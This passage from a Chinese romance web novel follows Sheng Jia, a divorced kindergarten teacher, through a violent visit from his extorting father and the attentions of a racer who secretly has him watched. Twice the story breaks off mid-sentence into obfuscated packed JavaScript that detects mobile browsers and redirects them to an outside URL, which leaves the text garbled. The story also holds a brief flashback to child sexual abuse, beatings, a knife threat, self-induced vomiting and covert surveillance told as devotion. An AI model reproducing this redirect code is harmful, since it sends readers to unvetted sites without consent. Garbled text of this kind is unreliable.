可这些年,盛千龙确实胃口越来越大,余向杭越发难以控制他。 难道他要一直替盛嘉背负着这样一个负担吗? 他和盛嘉明明已经离婚了,盛嘉自己也说了不需要他来帮忙处理盛千龙的事,从十七岁相识开始持续至今的保护,是不是也可以慢慢撤出了? 余向杭累了。 早从前些年起,余向杭便厌倦总是站在盛嘉面前替他遮风挡雨这件事,也厌倦每次下班后,盛嘉淡笑着说欢迎回家,那副幸福又一无所知的天真模样。 心中的衡量慢慢发生变化,余向杭想,盛嘉今年都是三十二岁的成年人,他比余向杭还要大三岁,这点私事早就可以自己解决了,何必他一个前夫帮忙? 盛嘉又不是什么需要细心关怀的小孩子,一个盛千龙,一个嗜赌成性的生父,也不是什么危险分子,盛嘉一个人可以处理的。 于是,沉默半晌,余向杭忽然开口:“我跟盛嘉已经离婚了,以后你的事我都不管了,你也别再来烦我了。” 说完他果断地挂了电话,将盛嘉的联系方式发了过去,随后将盛千龙拉黑。 “杭杭,怎么接个电话接这么久?” 等余向杭回到陈乐康身边,男人已经有些不满,他掐住余向杭的后颈捏了捏。 “有点工作上的事,别不高兴了。” 余向杭面色微红地解释,陈乐康挑挑眉,将他一把拉进卫生间。 “知道我不高兴,就做点能让我高兴的事。” 陈乐康和盛嘉一样,有一双天生含笑的眼睛,面部线条也是相似的秀气,但他带给余向杭的感觉却和盛嘉完全不同。 他比盛嘉更会玩,更知情趣,偶尔强势的作风让余向杭不自觉沉迷。 盛嘉自知自己是一个无聊且单调的人,本以为除了天生爱社交的蒋禾,不会再有人愿意靠近自己,可没想到,周子斐这种第一眼看过去就生人勿近的人,也会是一个例外。 “盛老师?” 听到有人在叫自己,盛嘉放下手中的包心菜转过了身。 只见一身黑色运动装的周子斐正站在身后,他脸上是有些惊喜的笑,眼下卧蚕笑起来鼓鼓的,此时看起来很有少年感。 “周先生……您怎么也在这里?” 盛嘉也感觉有些惊讶,他眼睛瞪圆了,嘴唇也微微张开,这幅模样令周子斐心中顿觉可爱。 “我带周佳奕来逛超市,真没想到会碰到你。” 周子斐走近几步,站到盛嘉身边,随意看了一眼他的购物车,发现里面装的都是些蔬菜、肉、调味料之类的东西。 “盛老师这是打算回家做顿大餐?” “啊,不是,是因为想一次买好一周的菜。” 盛嘉有些窘迫地摆摆手,他一个人住哪里需要做一顿大餐。 “这样……这么多东西你一个人拿得回去吗?等会儿我送送你吧。” 周子斐顺势开口,盛嘉刚要拒绝,远处却传来童声,打断了他们的对话。 “舅舅——我把糖果都放回去了,就拿了一袋——” 盛嘉看见不远处周佳奕正穿着背带裤,手里拿了个几乎拖在地上的购物篮,拖拖垮垮地跑过来。 “盛老师别拒绝了,等会儿周佳奕估计还要抢着帮你拿东西呢。” 周子斐忽然靠近凑在盛嘉耳边轻笑开口,热气扑在耳廓上,盛嘉下意识正欲躲开,周子斐却先一步拉远了他们的距离,他身上很淡的男士香水味此时才悠悠钻进盛嘉呼吸之中。 盛嘉摸了摸发烫的耳朵,总感觉很奇怪,可具体是哪里又说不上来,只觉得,周子斐似乎是一个特别喜欢做出些亲密举动的人,可偏偏每一次,他的亲密举动都能恰好卡在盛嘉反感抗拒的那条线之上。 “盛老师!你怎么也在这里!” 周佳奕跑近发现盛嘉后,篮子也不要了,兴奋地直直扑到盛嘉身上。 “你刚刚非要买那么多糖,我就打电话给盛老师让他来帮我教训你。” 周子斐朝周佳奕后脑弹了个脑瓜崩,语气有点凶,可却朝盛嘉挤了挤眼,示意他配合自己。 盛嘉顿时忍俊不禁,他低头摸了摸周佳奕的脑袋,声音温柔:“奕奕,小朋友不可以吃很多糖哦,不然以后牙齿里会长虫,就会很疼很疼的。” 周子斐视线落在盛嘉搭在周佳奕脑袋上那只修长白皙的手上,他无名指处有一圈稍浅的痕迹,凝视了几秒,周子斐又移开视线,看向盛嘉的脸。 他唇角轻轻扬起,纤长的睫毛垂着,超市顶灯灯光照得他对着自己的半边侧脸格外白净细腻。 明明盛嘉抱着周佳奕说话是一副格外静谧美好的画面,可周子斐却无端升起一点难以启齿的渴望。 从这人额前的碎发,到低头后颈那一小块骨头,再到指甲修剪圆润的十指,都令周子斐想要往更深处探寻,生出更多的贪婪。 看到盛嘉摘去戒指的无名指,就想在那里覆盖上自己的齿痕,看到盛嘉衣领之上白玉一般的肌肤,就想触手抚摸。 “周先生,周先生?” “奕奕舅舅,奕奕舅舅!” 周子斐猛地回过神,他抬眼对上盛嘉关切的目光。 盛嘉却一愣,周子斐深邃的眉眼此时好像压抑着某种凶戾,那双眼眸中是浓郁的深色。 “抱歉,我刚刚有点走神了,怎么了盛老师?” 周子斐笑起来,刚刚那种诡谲的深沉一扫而光,他又变成盛嘉印象里少年意气风发的年轻赛车手。 “盛老师问我们还要买什么东西,舅舅,你怎么都不认真听盛老师说话,像你这样一点也不乖!” 周佳奕不高兴地高声抱怨起来,在他看来不听盛老师讲话是非常严重的错误。 盛嘉被小男孩双手环胸、一脸严肃的表情逗乐了,他噗嗤一声笑起来,弯下腰揉周佳奕肉乎的圆脸。 “没关系的,舅舅不是也道歉了吗,相信他之后一定不会这样了,是不是呀?” 他弯着腰又抬头去看周子斐,眼睛弯弯的,因为前半句是在哄周佳奕,所以他的语气很甜很软,不像在和周子斐说话,更像在问小朋友。 周子斐这会儿的心跳律动再次失去规律,胸口被盛嘉一句“是不是呀”戳中,浑身都像有电流猛烈又迅速地窜过。 “是,以后一定认真听盛老师说话,做盛老师的乖孩子。” 他挑眉看向盛嘉的眼睛,声音带着几分调笑,最后三个字被他语气上扬地念出。 盛嘉面色一凝,那种“周子斐不太正经”的感觉又浮上心头。 “我们没什么东西要买了,今天只是因为周佳奕在家闹着要出来逛超市,我才带他出来的。” 周子斐拿起周佳奕放在地上的篮子,低头看了看,随后才开口回答了盛嘉一开始的问题。 “盛老师,你还有东西要买吗?我们一起回家吧!” 周佳奕察觉不到大人之间的古怪气氛,只拉着盛嘉的手,在原地蹦蹦跳跳的,看起来很开心。 盛嘉喜欢小孩子,喜欢幼师的工作,因为他看见小孩子无忧无虑的笑脸便会觉得很放松,他真心地想要照顾好每一个嫩芽一样刚来到这个世界的小朋友。 周佳奕“一起回家”的话令他的心脏变得很柔软,好像和他刚认识不到几周的盛嘉,也是他想要手牵手一起回家的“家人”,这种毫无保留的亲近和快乐,盛嘉永远都无法拒绝。 “好啊,盛老师已经没有东西要买了,就和奕奕一起回家吧。” 盛嘉握紧周佳奕小小的手掌,又晃了晃,周佳奕高兴地脸通红,笑得牙不见眼。 “盛老师,购物车我帮你推吧,你牵着周佳奕,不然一会儿他就要跑没影了。” 周子斐顺势接过盛嘉一旁的购物车,走在盛嘉和周佳奕的后面。 他目光缱绻地注视前方及肩黑发的男人,盛嘉一身米色的休闲服,牵着周佳奕,又抬手将头发别到耳后,露出的半张侧脸十分温柔。 他们三个人这样走在一起,好像一家三口,盛嘉是“妻子”,他是“丈夫”,这个周日也不过最普通不过的家庭外出。 这便是周子斐最深的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219959|181474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幻想了,如果能让这一幕成为现实,他想他愿意付出所有。 “盛老师,这些袋子我帮你提上去吧。” 在盛嘉家小区门口停下车后,周子斐主动提议帮忙,盛嘉看着这两三袋东西,想着自己应该也行,正打算开口不用麻烦,周子斐直接打开车门,拉开了后排车门。 “走吧,盛老师。” 他个高,站在车外还要弯腰低头才能和盛嘉对视,此时背对着光俯身,令他脸上的神色有些模糊,但盛嘉却能听出他的语气很柔和。 “盛老师让我舅舅帮你吧,我舅舅胳膊特别粗,力气特别大!” 周子斐听前半句还目光欣慰,“一句胳膊特别粗”让他脸黑了下来。 他揉了一把周佳奕的头,没好气地开口:“什么叫胳膊特别粗,我那是肌肉好吗,锻炼出的肌肉给你说的好像我五大三粗一样。” 盛嘉听闻这舅甥俩的对话,也笑出声,他没再拒绝,走出车子将购物袋递给周子斐。 “好吧,那麻烦胳膊特别粗的周先生帮我拿一下。” 周子斐接过购物袋,一偏头又看见周佳奕朝自己做鬼脸,做了个要打的姿势,被盛嘉拦住了。 “好了好了,咱们快上去吧,快去快回,别让奕奕在车里等急了。” 盛嘉笑着劝,又嘱咐保安帮忙看一下这辆车,别让陌生人靠近,两个人便上了楼。 “到了,谢谢周先生帮我提东西。” 到了家门前,盛嘉便要接过周子斐手上的东西。 “我给盛老师拿进去吧。” 周子斐非常热心肠,人都到了门口,盛嘉也不好意思说不用,感觉像在赶人似的。 进了屋内,周子斐随意打量了一下室内布置,虽然房子是他安排的,但他还是很好奇盛嘉会怎么装饰这个家。 “盛老师,你家布置得还挺好看的。” “是吗,我才刚住进来了不到两个月,也就随便收拾了一下。” 盛嘉倒了一杯水递给周子斐,又拿了一瓶牛奶让周子斐等会下去给周佳奕。 周子斐也不客气,接过水杯喝了个干净。 “所以盛老师你是刚搬家?之前听你说你是一个人住,那你爱人……?” 周子斐装模作样地问,只见盛嘉垂下眼眸,沉默片刻后回答:“我搬家之前离婚了。” “离婚了?!不、不会是因为我们之前便利店……” 周子斐格外惊讶,说完又似乎反应过来,语气有几分歉意:“抱歉,这是盛老师你的私事,我不该瞎打听这么多的。” 盛嘉连忙摆摆手,解释道:“不是的,不是我们之前聊天内容的原因,是、是出现了一点别的矛盾!” “你不用道歉的,正常陌生人听到这种事,应该都会比较好奇,下意识想问问情况……” 两人一时之间又沉默下来,片刻后盛嘉正打算礼貌地送客,只听周子斐说:“盛老师,其实我觉得我们应该也能勉强算熟人了,而且我……我不是因为好奇,我只是想关心一下你。” 盛嘉望向面前的红发男人,愣愣地,不知作何反应。 “之前看你在便利店很伤心、很迷茫的样子,所以才会上前和你搭话,包括那次赛车比赛,也是因为你一个人坐在那里好像很孤单,所以才会一直想和你互动。” 周子斐生了一双锋利的眼睛,薄唇和窄脸也使他看起来有些薄情寡义,可当他如此真诚地、毫不掩饰地以担忧和关心的目光看向你时,你又会觉得,他虽然全世界都不在乎,但却在乎你。 盛嘉猝不及防被他的眸光撞进心底,一时竟像被锁住,半分视线都无法偏移。 看盛嘉呼吸都憋住,紧张地和自己对视,周子斐忽而收回目光,头偏向别处,声音变得很轻:“盛老师,以后你别再叫我周先生了吧,太生分了,我们不也算得上朋友吗?” 寂静一片,周子斐自己心里也有些打鼓,正当他转回头时,盛嘉开口了。 “那……以后我叫你子斐?” 子斐。 这真是周子斐这辈子听过最动听的两个字,他的血液为此奔腾,心脏为此震动,全身上下每一个细胞都在反复回味盛嘉说这两个字的音调、语气。 手指又在没出息地贴着大腿外侧发抖,周子斐用尽全身力气压下那种兴奋的战栗,最终以平缓的声音回应:“好啊,盛老师以后就这么叫我吧。” 回到车上时,周佳奕抱怨舅舅怎么这么迟才下来,他都等烦了,周子斐难得没说话,他深深地吸气、吐气,才使某种强烈的欲望平息。 “舅舅,我们还不走吗?” “等会儿,我发个消息。” 周子斐打开手机,给一直留守在盛嘉身边的人发了近期撤走的指示,这才重新启动车子。 在超市“凑巧遇见”? 不过是周子斐派出去的人所给的消息,这才让他恰好抓住机会和盛嘉碰面。 至于让人撤走,是因为周子斐确信自己用不了多久就能登堂入室,成为亲自留在盛嘉身边的人。 他对此势在必得。 7. 债 将周子斐送走后,盛嘉视线还落在茶几上那个水杯上。 夏日午间的阳光大片照进室内,屋子里亮堂堂的,盛嘉想,他的生活确实有在慢慢变好。 他不是孤身一人,在这个世界上,他总会遇见关心他的人,他……也没有那么令人讨厌,还是会有人愿意走近他,对他笑,和他聊聊天、说说话。 心情轻快地走进厨房,盛嘉将食材收拾好,又开始准备午饭。 洗干净番茄,切成丁,正拿出鸡蛋打算打个蛋液时,电话声响起,盛嘉只好边看手机,边敲开鸡蛋。 屏幕上是一个陌生的本地电话,盛嘉皱着眉还是接通,他轻轻“喂”了一声,对面却响起他此生最恐惧的声音—— “盛嘉,我好久没给你打电话了。” 是盛千龙。 盛嘉愣住了,很快他的呼吸声变得沉重,垂下的目光死死盯着手中刚刚被敲开的鸡蛋,那头的声音变得模糊,他的额头冒出细汗,脸色刷的白下来。 他控制不住地捏紧鸡蛋,企图通过收紧掌心来获得一点安全感,但很快一声清响,他的手中空荡荡的,蛋液流出,从指缝漏到水池边缘,蛋壳碎片坚硬的触感压在掌心,有轻微刺痛。 “你、你……” 盛嘉声音发抖,音量也很小。 只听对面的盛千龙带着埋怨和怒气说:“余向杭那小子叫我打电话给你的,他说你们离婚了,你们怎么会离婚了?你们离婚了以后谁给我钱?” 已经有五六年时间没听过盛千龙的声音,在猝不及防的情况下和这个人对话,盛嘉依旧心悸害怕。 但慢慢地,似乎余向杭这个名字给了他力量。 他不断深呼吸,沉默片刻后,声音沙哑地开口:“以后我给你钱,你别去找余向杭了。” “你给我钱?你要是跑了怎么办,余向杭也没跟我说你住哪,我要不到钱去哪找你!” 盛嘉实在不想告诉盛千龙自己住在哪,但这人在电话里喊他找不到盛嘉就要去余向杭公司,盛嘉还是撑着声音说了自己的住址。 “行,你给老子等着,我现在就来找你!” 嘟的一声,那头电话被挂断,盛嘉却像一个雕塑,一直握着手机,呆呆地站在水池前,手里捏着湿黏的蛋液和蛋壳碎片。 盛千龙要来找他,盛千龙又要来找他了。 “嘉嘉,以后我们就住在这里了,你不许出声,不许往外面跑,知道了没!” 男人为了躲债,将他带进一间潮湿阴暗的狭小地下室,说这里就是他们以后的家,盛嘉不能去上学,不能出去玩,有人找过来,也不能出声。 “嘉嘉,爸爸帮你擦擦身子,来、来,你摸摸这里……” 那个人双目通红,脸上挂着笑靠近,拽着盛嘉的手放到某个地方。 盛嘉猛地尖叫出声,双手抱着头跪在了地上,他紧紧蜷缩着身体,衣袖滑落,手臂上是密密麻麻的划痕和烟头烫过的疤,一直蔓延到手肘处都还未消失。 好可怕,好恶心。 他失去意识一般,嘴里不断喃喃着“不要”和“向杭救救我”,没有人出现,所及之处只有冰凉的地面。 盛嘉手指颤抖地去摸左手无名指,却摸了个空,他大脑像被人狠狠打了一拳,此时才反应过来,余向杭和他离婚了。 余向杭再也不会给他温暖的拥抱,也不会站在他的身前保护他。 盛嘉从刚刚起便憋了许久的泪,顿时倾泻而出。 “不要留下我一个人……不要、不要……救救我……” “谁都好,救救我……” 他抬起头,嘴唇发白,双目惶惶,眉头也随着哭泣细细抖动,泪水布满整张脸,又在下巴处聚集,一滴滴掉在衣领处,染湿了一大片衣服。 目光忽然停在了周子斐喝过水的那个玻璃水杯上,当时年轻的红发赛车手握着杯子,一口气喝了个干净,随后有点不好意思地挠挠头,脸色微红地开口说:“盛老师,我有点太渴了,能再喝一点吗?” 盛嘉抬起手臂,手指够到那个杯子,匆匆将脸贴了上去。 窗外正午的阳光在上面留下了尚热的温度,盛嘉冰凉的脸一下子被暖到,让他不禁想起赛车比赛那天,周子斐紧紧握着他的手,那双手很有力量,很温暖。 周子斐是一个和自己截然不同的人,他是踩下油门就不会松开,永远直奔终点线、一往无前的赛车手,受尽人们的喜爱,染着张扬的红发,帅气桀骜。 但这样耀眼的人却格外亲近自己,却说关心他,说他是自己的朋友。 盛嘉的呜咽声弱下来,他慢慢扶着水池站起身。 他不是孤身一人,他一定不是孤身一人。 他的身边有活泼的蒋禾,有严厉却很关心他的李老师,有每次都会主动帮他的周子斐,还有说“盛老师陪我,我不害怕”的周佳奕…… 幼儿园有那么多说“我最喜欢盛老师”的小朋友,有慢慢在和他变得亲近的老师们,他怎么会是孤身一人? 离婚后,他陷于失去余向杭的悲伤,却一次次被这些从前从未注意过的人温暖着、在乎着,于是他从那种“失去全世界”的痛苦中得救。 只是一个盛千龙而已,他已经长大了,他不再是从前那个无法反抗的盛嘉,只是一个盛千龙,他不会害怕的,他再也不要害怕。 门铃声此时响起,盛嘉洗干净手,又擦干净脸,走向大门。 “怎么现在才开门?” 盛千龙一进门就嚷嚷起来,盛嘉没有说话,试着学余向杭,只努力冷下声音开口问:“你要多少钱?拿了就给我走。” “不急,你这当儿子的都不给爸倒杯水,就要赶人?” 盛嘉握紧拳头,他没有倒水,也不让盛千龙坐周子斐坐过的沙发,只叫人坐在餐桌旁的椅子上。 “你怎么会跟余向杭离婚了?他不是特别喜欢你吗,当初说的那么好,结果还要离婚。” 见盛嘉根本不跟自己搭话,盛千龙自顾自地说起来,他瞟了一眼盛嘉,发现几年没见,盛嘉竟然比从前更憔悴苍白得像个鬼。 “你不说话干什么,我问你话呢!你要是不跟我说,我就去找余向杭,把他打一顿,非要问清楚!” 盛千龙易怒,被盛嘉这么忽视,故意抓着这儿子的弱点开口。 “不行!你不能去找余向杭!” 盛嘉猛地一把扯住盛千龙的胳膊,手指用力到指节发白,他拼命将盛千龙拉住。 然而盛千龙反手甩了盛嘉一巴掌,打得他整个头都朝一侧偏去。 “妈的!一个两个喜欢干.屁股的变.态玩意,还教训起老子了!” 刺耳又熟悉的骂声激得盛嘉身体一抖,盛千龙还在不断地骂,直到他说—— “都是你妈不好,早知道我当时就该把她打死,连带着把你也打死!” 盛嘉忽然抬起头,眉头皱着,弧度弯弯的眼睛也随之压平,他的瞳仁很黑,平日里总是水亮,此时却暗下来,有些凶狠地瞪着盛千龙。 盛千龙被他瞪得一愣,随即骂道:“你瞪什么?老子就是要打死——” 盛嘉没管脸上刺痛的巴掌印,只再一次询问:“你到底要多少钱,我现在就转给你。” 看到盛嘉被自己打了后依旧老老实实地要给钱,盛千龙立刻觉得对方如今还是能被自己拿捏住的,于是,他转了转眼珠,开口:“十五万,我要十二万。” 盛嘉握紧了拳头,咬紧牙管,他甚至能见咯吱咯吱的声音。 十五万,盛千龙怎么敢说十五万的?! 见盛嘉不说话,盛千龙骂骂咧咧地就要推开人,嘴里嚷着他要去找余向杭。 “不许去!” “我给你……我给你五万!” 听到这个数,盛千龙不满意地叫着:“你就给我五万,少这么多打发谁呢!” 盛嘉闭上眼深吸一口气,努力压下一种恶心的呕吐感,随后睁眼冷声说:“我这次就给你五万,你爱要不要,不要的话,下个月也别想从我这里拿钱。” “你还威胁上我了?你敢不给我就去找余向杭那个烂屁股的,我去他公司闹,再不行我去找你妈,我就不信我打听不到陆荷那个死女人现在在哪!” 盛千龙一时之间唾沫横飞地冲盛嘉喊着,盛嘉浑身颤抖。 “千龙,你别赌了,你别再赌了,嘉嘉上学的钱都要没了!” “你干什么!不许动孩子!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16219960|181474||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “别、别打我!我拿钱,我马上拿钱!” “嘉嘉……妈妈要走了,你、你一个人照顾好自己。” 过往的一幕幕在眼前浮现,盛嘉无法自抑地感到愤怒。 从前母亲陆荷护在自己身前,盛嘉什么都不做到,只能哭嚎着看陆荷被盛千龙打得伤痕累累。 后来余向杭护在自己身前,他替自己挡下盛千龙砸过来的酒瓶子,擦着额头的血表示他会保护自己。 最后被盛千龙捅了一刀,倒在自己怀里,还在艰难地开口:“别怕、别怕,他捅我,我们送他去坐牢,然、然后去别的城市……以后他再也不会出现在你面前了……” 盛嘉好恨,恨自己永远都在被别人保护,面对盛千龙他一直因为年少的事怀有逃避心理,两年的地下室生活,那些肮脏的往事,令他一看到盛千龙就混杂着恐惧和恶心。 但现在,看见盛千龙一张丑陋苍老的脸,看见他发黑松动的牙齿,他忽然发现,愤怒和仇恨第一次压过了曾经的那些情绪,也让他意识到,面前这个人就算再怎么辱骂和威胁,也不过是色厉内荏。 因而,他更不能让盛千龙再去找余向杭,他曾伤害过陆荷,不能让他又伤害余向杭。 这辈子,他只爱两个人,一个是他的母亲,另一个就是余向杭,而这两个人都在被盛千龙恐吓、纠缠。 他要主动保护好余向杭,就像他无数次阻拦盛千龙去找陆荷,他要让他爱的人能一直幸福地生活下去。 盛千龙只见盛嘉一言不发地走向厨房,紧接着,他提了一把菜刀走出来。 “你、你干什么?你拿刀干什么?” 在盛千龙的惊吓声中,盛嘉步步紧逼,随后开口:“我就这么多钱,你要就拿走,你不要,我们今天就一起死在这里!” 盛嘉握紧手中菜刀,拦在门前,手腕抖得厉害,声音却爆发出前所未有的狠厉。 他死死盯着盛千龙,黑发垂落在消瘦的两颊,眼角发红,眼眶蓄满眼泪,却始终没有泪珠滚下来,菜刀被他缓慢举起,窗外透过的日光照在刃上,反射着刺目的光。 “如果让我知道你去找余向杭,我就去砍死你……砍死你,我再去自首,这样你死了也没人给你收尸!“ 盛千龙被他仇视的目光震住,嘴唇嚅动几下,竟一时说不出话。 盛嘉喘着粗气,朝前走了一步,菜刀被他架在盛千龙脖子上,他直视盛千龙满是惊惧的眼睛。 “不许再去找他,我跟他已经离婚了,你找他也要不到钱,懂了吗?” 盛千龙不明白自己向来不会反抗的儿子怎么突然有胆子举刀威胁他,但此时他已经感受到刀刃冰凉的触感,只能连连点头表示知道了。 菜刀被挪开,盛嘉打开门,偏过头说:“你走吧,钱我之后每个月只会转给你三千。” 盛千龙不敢反驳,只侧身避开盛嘉手上的刀,等走到门外,还是忍不住补了一句:“你、你最好说到做到,不然我下次还来找你!” 盛嘉平静地看着面前的生父,捏紧了刀柄,脑海中不断有声音催促自己砍过去,然而最后,他还是开口:“知道了。” 看人离开,盛嘉“砰”地一声关上门,整个人随即软倒在玄关处,菜刀也当啷一声掉在地上。 他脸上是虚脱一般的苍白,那个鲜红的巴掌印更加显眼,而他灰色的上衣后背也已全部汗湿,变成深色贴在背上,头发黏在汗湿的后颈,像从水里被捞出来一样。 接着,他忽然捂住了嘴,几乎是跪着爬到卫生间,随后抱住马桶“哇”的一声吐了出来。 吐完他还再不断地扣自己的喉咙,手指深深塞进嘴里,挠着嗓子眼,喉咙收缩、痉挛,他发出痛苦的干呕声。 盛嘉只想全部吐干净,胃里的东西也好,什么心、肝脏、肺,全部都吐出来,就让他整个人吐空,让回忆、情绪也都随着呕吐物一同流出来,淌干净。 最后几乎什么都吐不出来了,喉咙有轻微的烧灼感,他才缓缓靠在墙边,那张惨白的脸上全是汗水、口水,头发凌乱地散着,唇角也因为刚刚粗暴的动作发红。 盛嘉无神地看着卫生间的瓷砖墙面,若不是胸膛还在轻微起伏,几乎就像一个死人。 8. 伤 “盛老师早上好!” 周佳奕下了车马上朝幼儿园门口跑过来,落在他后面的周子斐替他拿着小书包。 盛嘉闻声弯下腰,露在口罩外的一双眼睛弯了弯。 “奕奕,早上好。” 周子斐视线落在盛嘉脸上的口罩上,眼睛之下的部位全部被遮住,但周子斐视力极好,更对盛嘉的脸无比熟悉,一眼便看出了不同之处。 盛嘉的眼角处发红,眼皮微肿,尽管发丝挡在两颊,随着他弯腰又抬头看向周子斐的动作,左脸漏出了一点皮肤。 如玉般光洁的皮肤,印着不明显的红印,就像被人掌掴过一样。 周子斐面上不显,心里却生起了烦躁,可他只能自然地将书包给周佳奕背好,再语气平常地开口问:“盛老师今天怎么戴口罩了?” 是被人打了吗? 是余向杭?还是谁? 早知道就不撤掉跟着盛嘉的那些人了。 “啊……我有点感冒,所以……” 盛嘉下意识摸脸上的口罩,确保它还好好地待在那里,才放下心。 听到盛嘉瓮声瓮气的回答,周子斐眸光暗了暗。 说谎,盛嘉又在说谎。 “是吗?” “虽然是夏天,但是盛老师也不能贪凉啊。” 周子斐声音严肃了一点,像在教训小朋友似的。 听得盛嘉耳一热,以往这话都是他跟幼儿园的小孩说,没想到有一天会被年纪比他还小的周子斐嘱咐这句话。 盛嘉轻咳一声,随后点点头,有些窘迫地小声“嗯”了一下。 看盛嘉和周佳奕进了幼儿园,周子斐原本浅笑着和两人告别的表情消失,他的眉眼冷淡下来,面无表情地坐上车,打了一个电话 “去调监控,看看那天我走之后,谁去找了盛嘉。” 车子一直没有启动,他单手敲着膝盖,看起来很冷静而沉稳,内里却早已心急如焚。 他迫切地需要知道盛嘉到底出了什么事,本以为和余向杭离婚后,盛嘉的生活会慢慢好起来,他也看着盛嘉最近脸上多了不少笑,可今天盛嘉的模样却像一个迟来的巴掌,扇醒了他的自以为是。 在盛嘉的事上,他不可以有丝毫的轻视和侥幸。 这是一支需要用心浇灌、时刻爱护的红梅,他有着顽强的生命力,或许不会枯死,可狂风、骤雪,还有别人闻香而来所作出的采摘举动,都极有可能让他失去本该有的艳丽色泽。 手底下的人办事效率很高,周子斐片刻后便收到了消息。 “砰”的一声响动,周围路过的路人不明所以地看向停着的那辆黑色捷豹。 车窗关闭严实的车内,周子斐额角迸起青筋,他牙关咬得死紧,握着手机的手正砸在方向盘上。 恨意和怒火烧得他双目泛红,太阳穴也在突突直跳,一瞬间甚至有杀人的冲动。 当初他不该对余向杭抱有信任。 早知道余向杭六年都解决不掉一个废物,还不断给那个寄生虫打钱,让盛千龙这个垃圾好好地活到现在,他就该自己动手。 余向杭说让盛嘉不会再战战兢兢,如今却又将盛嘉推向那个人,如果他做不到永远爱护盛嘉、保护盛嘉,周子斐就应该早点想办法让他们离婚。 故意派人勾引也好,假意制造误会也可以,就应该早点让盛嘉离开余向杭,来到自己的身边。 但忽然,周子斐狠狠抽了自己一巴掌。 不,都是自己的错,是自己疏忽大意了。 他应该一直密不透风地护着盛嘉,不管盛嘉身边是谁,他都应该一丝不苟地关注着盛嘉的生活,避免盛嘉受到任何伤害。 能发生这种事,是因为自己对盛嘉还不够重视,做得还不够周到。 周子斐随意地擦去嘴角的血,随后偏头看向幼儿园大门内。 现在正是做早操的时间,隔着车窗,他熟练地找到盛嘉以往所在的位置。 盛嘉高挑挺拔,身体线条却相较于男性而言更柔,穿着的围裙系带勒住他细细的腰,笔直修长的腿更加显眼。 舒展胳膊,盛嘉带身前的小朋友做转体运动,清晨的阳光洒在他身上,使他整个人沐浴在明亮的光圈之中。 看盛嘉带操结束,拍拍手叫小朋友们回教室,周子斐的情绪也渐渐平息。 他降下车窗,左手抬起,手指隔着空气和稍远的距离描摹盛嘉的背影。 周子斐喃喃自语道:“余向杭做不好的事,就换我来做。” 等盛嘉彻底消失在视野之中,他才发车离开。 盛嘉摘下口罩看向镜子中的自己,脸上的红印淡了不少,看上去和平常已经没什么区别,只是摸上去的时候,还是有些刺痛。 想了想,盛嘉还是戴上了口罩,反正马上就要放学了,再忍一忍,等回家涂点药就好了。 “奕奕,舅舅还没来吗?” 园区里的小孩子越来越少,周佳奕又要成为最后一个被接走的小朋友。 听到盛嘉的问话,周佳奕举起电话手表给盛老师听周子斐发来的消息。 “周佳奕,舅舅今天晚二十分钟去接你啊,到时候给你带好吃的,你乖乖地呆在盛老师身边,别乱跑,我已经跟他说过了。” 里面传来周子斐的声音,盛嘉这才拿出手机看了一眼消息,发现周子斐半个小时前给自己发了微信说要晚点来接周佳奕,麻烦他照看一下周佳奕。 盛嘉立刻回了“好的”,也没了起初的那种不满和生气。 通过这段时间的相处,盛嘉也看得出来周子斐并不是那种不负责任的家长,他经常在手机上和盛嘉沟通周佳奕的情况,周佳奕粘他,他就每次都亲自来接,从来不找其他人,只是碍于工作原因,有的时候不得不晚点过来,但这些都是可以理解的。 正好他也很喜欢周佳奕,能和这个小朋友多待会儿,心里也是高兴的。 盛嘉陪周佳奕坐在滑梯旁,和他一起复习了今天学的儿歌和诗,又给他洗了个苹果,苹果还没吃完,周子斐便急匆匆地赶来了,只是,他手上还提着一个保温桶。 “舅舅!这是给我的好吃的吗!” 周佳奕立刻乐颠颠地扑过去,周子斐一掌按住他小小的脑袋瓜子,挡住他要扑的动作,故弄玄虚地回答:“是也不是。” 盛嘉也站起身,将周佳奕的小书包递给周子斐,笑道:“今天奕奕很乖,唱歌唱的很大声,诗也背得很快,对了,我刚刚给他洗了个苹果,晚上他可能会少吃点饭。” 周子斐接过书包,也没急着走,倒是笑吟吟地将手中保温桶往前递了一下,示意盛嘉拿过去。 盛嘉一愣,眨了眨眼,不解地看周子斐。 “周佳奕乖是盛老师教得好,所以我不仅给他带了好吃的,还给盛老师带了好吃的。” “给我?” “嗯,盛老师不是感冒了吗,我听你声音也沙沙的,就熬了点川贝雪梨汤,没多少,就半盅。” 周子斐还是笑,是盛嘉总能看见的那种笑。 唇角若有若无地翘着,眼尾上扬,带着鼓鼓的卧蚕,有点散漫又很少年气。 “你……” 这种突然却细心的举动令盛嘉一时说不出话,他只愣愣地看着面前红发的年轻男人。 他的嗓子确实不舒服,昨天为了逼迫自己吐出来,他不停地用手抠弄自己的嗓子,导致早上起床时,嘴里甚至有点淡淡的血腥味。 再加上今天他还带了一天的课,如今几乎咽口水都会有种刺痛感。 他不在意这种不适,或者说他在刻意放纵这种不适,因为他想用这种痛记住盛千龙所带给他的伤害,记住他绝不能在盛千龙面前怯懦、退缩。 可他没想到,周子斐却将这种微不足道的事情放在了心上,还特意在放学后带来了川贝雪梨汤。 周子斐眼中不遮掩的关心,混杂着一点期待和想要被夸奖的孩子气,这种生机勃勃的神态,令盛嘉忽然生出逃避的心理。 